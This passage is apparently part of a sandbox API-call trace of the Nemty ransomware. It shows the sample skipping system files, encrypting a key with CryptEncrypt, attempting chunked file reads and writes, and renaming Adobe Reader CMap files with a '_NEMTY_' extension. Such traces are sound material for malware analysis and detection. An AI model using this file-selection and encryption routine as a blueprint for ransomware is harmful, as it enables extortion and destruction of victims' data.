Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0199.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.055] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5._nemty_kgobjgd_")) returned 0 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.055] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="ADFBCB~1")) returned 1 [0199.055] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2=".") returned 1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="..") returned 1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="...") returned 1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="windows") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="$RECYCLE.BIN") returned 1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="rsa") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="NTDETECT.COM") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="ntldr") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="MSDOS.SYS") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="IO.SYS") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="boot.ini") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="boot.ini") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="AUTOEXEC.BAT") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="ntuser.dat") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="desktop.ini") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="CONFIG.SYS") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="RECYCLER") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="BOOTSECT.BAK") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="bootmgr") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="programdata") returned -1 [0199.056] lstrcmpiW (lpString1="Adobe-GB1-GBK-EUC", lpString2="appdata") returned -1 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBK-EUC", lpUsedDefaultChar=0x0) returned 17 [0199.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0199.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBK-EUC", lpUsedDefaultChar=0x0) returned 17 [0199.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0199.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0199.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBK-EUC", lpUsedDefaultChar=0x0) returned 17 [0199.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0199.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-GBK-EUC", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-GBK-EUC", lpUsedDefaultChar=0x0) returned 17 [0199.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0199.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0199.057] Sleep (dwMilliseconds=0x5) [0199.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a4d2f10, dwHighDateTime=0x1d561e8)) [0199.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a4d2f10, dwHighDateTime=0x1d561e8)) [0199.069] GetLastError () returned 0x5 [0199.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.069] GetLastError () returned 0x5 [0199.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0199.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.070] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0199.070] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="h8TSwKnfKXdg8NpTjllAgKU2QRGnWEZiVccHgLGASEChBuq84+SG+2h9oszE5AW2\r\ng8CajNJvSM20+FaZkgMsUGVKL7E1KjWzar0KnOS6dJHhmT2xo/LQMCSz0RW6Ep+p\r\nTBjlcAmZCy1vsDaMnElktHot3py2Q1AuT/QvfdjJJO4UTsOqvMM92j37d/tqUgvP\r\nQ/rzb8cmak+sXljglknfR4wMtYmP0MtesANjroHeOj7/wgw++9jHBc+HJ0/VhpH7\r\nMNiaeRrj48WqS0RoQPEQR9jpoc1MKmy5SynjPHYvkWo2dY+NlMspqoCY+jZcPd+e\r\nT4Gt7qIU6vcuLv5jFdlsqQ==\r\n", pcchString=0x653e91c) returned 1 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0199.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.070] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.176] CloseHandle (hObject=0xffffffff) returned 0 [0199.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0199.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0199.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0199.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0199.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0199.176] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc._nemty_kgobjgd_")) returned 0 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0199.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0199.177] HeapFree (in: 